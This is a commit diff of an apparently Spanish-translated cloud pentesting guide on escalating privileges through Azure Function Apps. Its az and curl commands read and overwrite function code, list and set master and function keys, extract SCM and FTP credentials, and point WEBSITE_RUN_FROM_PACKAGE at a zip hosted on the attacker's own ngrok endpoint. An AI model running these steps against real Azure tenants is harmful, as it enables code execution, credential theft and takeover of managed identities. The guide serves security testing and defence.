Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-30 12:25:11 +00:00
parent 95b414534c
commit 509344811e
@@ -10,28 +10,28 @@ Consulta la siguiente página para más información:
../az-services/az-function-apps.md
{{#endref}}
### Lectura/Escritura de Bucket
### Bucket Read/Write
Con permisos para leer los contenedores dentro de la Cuenta de Almacenamiento que almacena los datos de la funcn, es posible encontrar **diferentes contenedores** (personalizados o con nombres predefinidos) que pueden contener **el código ejecutado por la funcn**.
Con permisos para leer los containers dentro de la Storage Account que almacena los datos de la function, es posible encontrar **diferentes containers** (personalizados o con nombres predefinidos) que podrían contener **el code ejecutado por la function**.
Una vez que encuentres dónde se encuentra el código de la funcn, si tienes permisos de escritura sobre él, puedes hacer que la funcn ejecute cualquier código y escalar privilegios a las identidades administradas adjuntas a la funcn.
Una vez que encuentres dónde está ubicado el code de la function, si tienes permisos de escritura sobre él puedes hacer que la function ejecute cualquier code y escalar privilegios a las managed identities adjuntas a la function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`)
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`)
El código de la función generalmente se almacena dentro de un recurso compartido de archivos. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la función cargue código arbitrario**, lo que permite escalar privilegios a las identidades administradas adjuntas a la Funcn.
El code de la function suele almacenarse dentro de un file share. Con suficiente acceso es posible modificar el archivo de code y **hacer que la function load arbitrary code** permitiendo escalar privilegios a las managed identities adjuntas a la Function.
Este método de implementación generalmente configura los ajustes **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de
Este método de deployment normalmente configura los settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** which you can get from
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Esas configuraciones contendrán la **Storage Account Key** que la Funcn puede usar para acceder al código.
Esas configs contendrán la **Storage Account Key** que la Function puede usar para acceder al código.
> [!CAUTION]
> Con suficientes permisos para conectarse al File Share y **modificar el script** en ejecución, es posible ejecutar código arbitrario en la Funcn y escalar privilegios.
> Con permisos suficientes para conectarse al File Share y **modificar el script** que se está ejecutando, es posible ejecutar código arbitrario en la Function y escalar privilegios.
El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda también consultar la siguiente página para más información sobre file shares:
El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda revisar también la siguiente página para más información sobre file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
También es común encontrar los **zip releases** dentro de la carpeta `function-releases` del contenedor de la Cuenta de Almacenamiento que la aplicación de función está utilizando en un contenedor **generalmente llamado `function-releases`**.
También es común encontrar las **zip releases** dentro de la carpeta `function-releases` del contenedor de Storage Account que la function app está usando, en un contenedor **usualmente llamado `function-releases`**.
Normalmente, este método de despliegue configurará el `WEBSITE_RUN_FROM_PACKAGE` en:
Normalmente este método de despliegue establecerá la configuración `WEBSITE_RUN_FROM_PACKAGE` en:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Esta configuración generalmente contendrá una **URL SAS para descargar** el código de la Cuenta de Almacenamiento.
Esta configuración suele contener una **SAS URL para descargar** el código desde el Storage Account.
> [!CAUTION]
> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip**, es posible ejecutar código arbitrario en la Funcn y escalar privilegios.
> Con permisos suficientes para conectarse al blob container que **contiene el código en zip** es posible ejecutar código arbitrario en la Function y escalar privilegios.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una URL SAS al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
Al igual que en el caso anterior, si el despliegue se realiza vía Github Actions es posible encontrar la carpeta **`github-actions-deploy`** en el Storage Account que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`)
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Con permisos para leer los contenedores dentro de la Cuenta de Almacenamiento que almacena los datos de la función, es posible encontrar el contenedor **`scm-releases`**. Allí es posible encontrar la última versión en **formato de archivo de sistema de archivos Squashfs** y, por lo tanto, es posible leer el código de la funcn:
Con permisos para leer los contenedores dentro del Storage Account que almacena los datos de la function es posible encontrar el contenedor **`scm-releases`**. Allí se puede encontrar la última release en **Squashfs filesystem file format** y por lo tanto es posible leer el código de la function:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
También es posible encontrar las **claves master y de funciones** almacenadas en la cuenta de almacenamiento en el contenedor **`azure-webjobs-secrets`** dentro de la carpeta **`<app-name>`** en los archivos JSON que puedes encontrar dentro.
También es posible encontrar las **master and functions keys** almacenadas en la storage account en el container **`azure-webjobs-secrets`** dentro de la carpeta **`<app-name>`** en los archivos JSON que puedes encontrar en su interior.
> [!CAUTION]
> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en un archivo con extensión zip** (que en realidad es un **`squashfs`**), es posible ejecutar código arbitrario en la Funcn y escalar privilegios.
> Con permisos suficientes para conectarse al blob container que **contains the code in a zip extension file** (que en realidad es un **`squashfs`**) es posible ejecutar código arbitrario en la Function y escalar privilegios.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Este permiso permite listar las claves de funcn, maestro y sistema, pero no la clave de host, de la función especificada con:
Este permiso permite listar las claves function, master y system, pero no la host, de la función especificada con:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Con la clave maestra, también es posible obtener el código fuente en una URL como:
Con la master key también es posible obtener el código fuente en una URL como:
```bash
# Get "script_href" from
az rest --method GET \
@@ -130,25 +130,38 @@ az rest --method GET \
# Access
curl "<script-href>?code=<master-key>"
## Python example:
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
Y para **cambiar el código que se está ejecutando** en la función con:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`
Este permiso permite obtener la clave de host de la función especificada con:
Este permiso permite obtener la default key de la función especificada con:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Invoca la función utilizando la clave predeterminada obtenida:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Este permiso permite crear/actualizar una clave de función de la función especificada con:
@@ -157,43 +170,51 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
```
### `Microsoft.Web/sites/host/masterKey/write`
Este permiso permite crear/actualizar una clave maestra para la función especificada con:
Este permiso permite crear/actualizar una master key para la función especificada con:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> ¡Recuerda que con esta clave también puedes acceder al código fuente y modificarlo como se explicó antes!
> Recuerda que con esta key también puedes acceder al código fuente y modificarlo como se explicó antes!
### `Microsoft.Web/sites/host/systemKeys/write`
Este permiso permite crear/actualizar una clave de función del sistema para la función especificada con:
Este permiso permite crear/actualizar una system function key para la función especificada con:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Usa la clave:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action`
Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones, podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contienen una **clave de cuenta para acceder al almacenamiento de blobs de la función con permisos COMPLETOS**.
Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, que contienen una **clave de cuenta para acceder al blob storage de la función con permisos COMPLETOS**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Además, este permiso también permite obtener el **nombre de usuario y la contraseña de SCM** (si está habilitado) con:
Además, este permiso también permite obtener el **SCM username and password** (si está habilitado) con:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecuta dentro de la función.
Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecuta dentro de la función.
Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en URL que contenga el nuevo código a ejecutar dentro de una aplicación web:
Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en una URL que contenga el nuevo código a ejecutar dentro de una aplicación web:
- Comience obteniendo la configuración actual
- Comienza por obtener la configuración actual
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Crea el código que deseas que la función ejecute y hospédalo públicamente.
- Crea el código que quieras que la función ejecute y alójalo públicamente
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -205,7 +226,7 @@ ngrok http 8000
```
- Modifica la función, mantén los parámetros anteriores y añade al final la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a la URL con el **zip** que contiene el código.
El siguiente es un ejemplo de **mis propios ajustes que necesitarás cambiar los valores por los tuyos**, nota al final los valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde estaba alojando la aplicación.
La siguiente es un ejemplo de mis **propias configuraciones que tendrás que cambiar por las tuyas**, nota al final el valor `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde alojaba la app.
```bash
# Modify the function
az rest --method PUT \
@@ -215,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o a través del siguiente punto final de API):
Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o mediante el siguiente endpoint de la API):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -223,10 +244,29 @@ az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Este permiso permite listar todos los perfiles de publicación que básicamente contienen **credenciales de autenticación básica**:
Este permiso permite listar todos los publishing profiles que básicamente contienen **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Otra opción sería establecer tus propias credenciales y usarlas con:
Otra opción sería configurar tus propios creds y usarlos con:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Si las credenciales de **REDACTED**
- Si las credenciales están **REDACTED**
Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción SCM de autenticación básica** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -264,7 +304,7 @@ az rest --method PUT \
```
- **Método SCM**
Luego, puedes acceder con estas **credenciales de autenticación básica a la URL de SCM** de tu aplicación de funciones y obtener los valores de las variables de entorno:
Entonces, puedes acceder con estas **basic auth credentials to the SCM URL** de tu function app y obtener los valores de las env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -275,15 +315,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Tenga en cuenta que el **nombre de usuario SCM** suele ser el carácter "$" seguido del nombre de la aplicación, así que: `$<app-name>`._
_Nota que el **SCM username** suele ser el carácter "$" seguido del nombre de la app, así: `$<app-name>`._
También puede acceder a la página web desde `https://<app-name>.scm.azurewebsites.net/BasicAuth`
También puedes acceder a la página web desde `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Los valores de configuración contienen la **AccountKey** de la cuenta de almacenamiento que almacena los datos de la aplicación de función, lo que permite controlar esa cuenta de almacenamiento.
Los valores de configuración contienen el **AccountKey** de la storage account que almacena los datos de la function app, lo que permite controlar esa storage account.
- **Método FTP**
Conéctese al servidor FTP usando:
Conéctate al servidor FTP usando:
```bash
# macOS install lftp
brew install lftp
@@ -297,19 +337,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Tenga en cuenta que el **nombre de usuario FTP** suele estar en el formato \<nombre-de-la-aplicación>\\$\<nombre-de-la-aplicación>._
_Tenga en cuenta que el **FTP username** suele tener el formato \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Este permiso permite **leer el código fuente** de la aplicación a través del VFS:
Este permiso permite **leer el código fuente** de la app a través del VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Con este permiso es posible [obtener el **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que puede ser utilizado posteriormente para recuperar la **clave maestra** y, por lo tanto, acceder y modificar el código de la función.
Con este permiso es posible [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que posteriormente puede usarse para recuperar la **master key** y, por lo tanto, acceder y modificar el código de la función.
Sin embargo, en mis últimos chequeos no se devolvió ningún token, por lo que podría estar deshabilitado o no funcionar más, pero aquí está cómo lo harías:
Sin embargo, en mis últimas comprobaciones no se devolvió ningún token, por lo que podría estar deshabilitado o ya no funcionar; pero aquí se muestra cómo lo harías:
```bash
# Get admin token
az rest --method GET \
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Este permiso permite **habilitar funciones** que pueden estar deshabilitadas (o deshabilitarlas).
Este permiso permite **habilitar functions** que podrían estar deshabilitadas (o deshabilitarlas).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -335,7 +375,7 @@ az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/res
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de Azure maliciosa a Docker Hub (por ejemplo) y hacer que la función la ejecute.
Con estos permisos es posible **modificar el container run by a function app** configurado para run a container. Esto permitiría a un atacante subir una azure function container app maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -343,29 +383,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Con estos permisos es posible **adjuntar una nueva identidad administrada por el usuario a una función**. Si la función fue comprometida, esto permitiría escalar privilegios a cualquier identidad administrada por el usuario.
Con estos permisos es posible **adjuntar una nueva identidad administrada de usuario a una función**. Si la función fuera comprometida, esto permitiría escalar privilegios a cualquier identidad administrada de usuario.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Depuración Remota
### Depuración remota
También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador se olvide para evitar dejar configuraciones vulnerables.
También es posible conectarse para depurar una Azure Function en ejecución como [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto Azure desactivará esta opción pasados 2 días en caso de que el desarrollador la olvide, para evitar dejar configuraciones vulnerables.
Es posible verificar si una funcn tiene la depuración habilitada con:
Es posible comprobar si una Function tiene la depuración habilitada con:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Teniendo el permiso `Microsoft.Web/sites/config/write`, también es posible poner una función en modo de depuración (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`).
Teniendo el permiso `Microsoft.Web/sites/config/write` también es posible poner una función en modo de depuración (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Cambiar el repositorio de Github
### Cambiar repo de Github
Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero incluso si cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la acción de Github actualice el código).\
Además, **la credencial federada de identidad administrada no se actualizó** permitiendo el nuevo repositorio, por lo que parece que esto no es muy útil.
Intenté cambiar el repo de Github desde donde ocurre el despliegue ejecutando los siguientes comandos, pero aunque cambió, **el nuevo código no se cargó** (probablemente porque espera que la Github Action actualice el código).\
Además, la **managed identity federated credential no se actualizó** para permitir el nuevo repositorio, así que parece que esto no es muy útil.
```bash
# Remove current
az functionapp deployment source delete \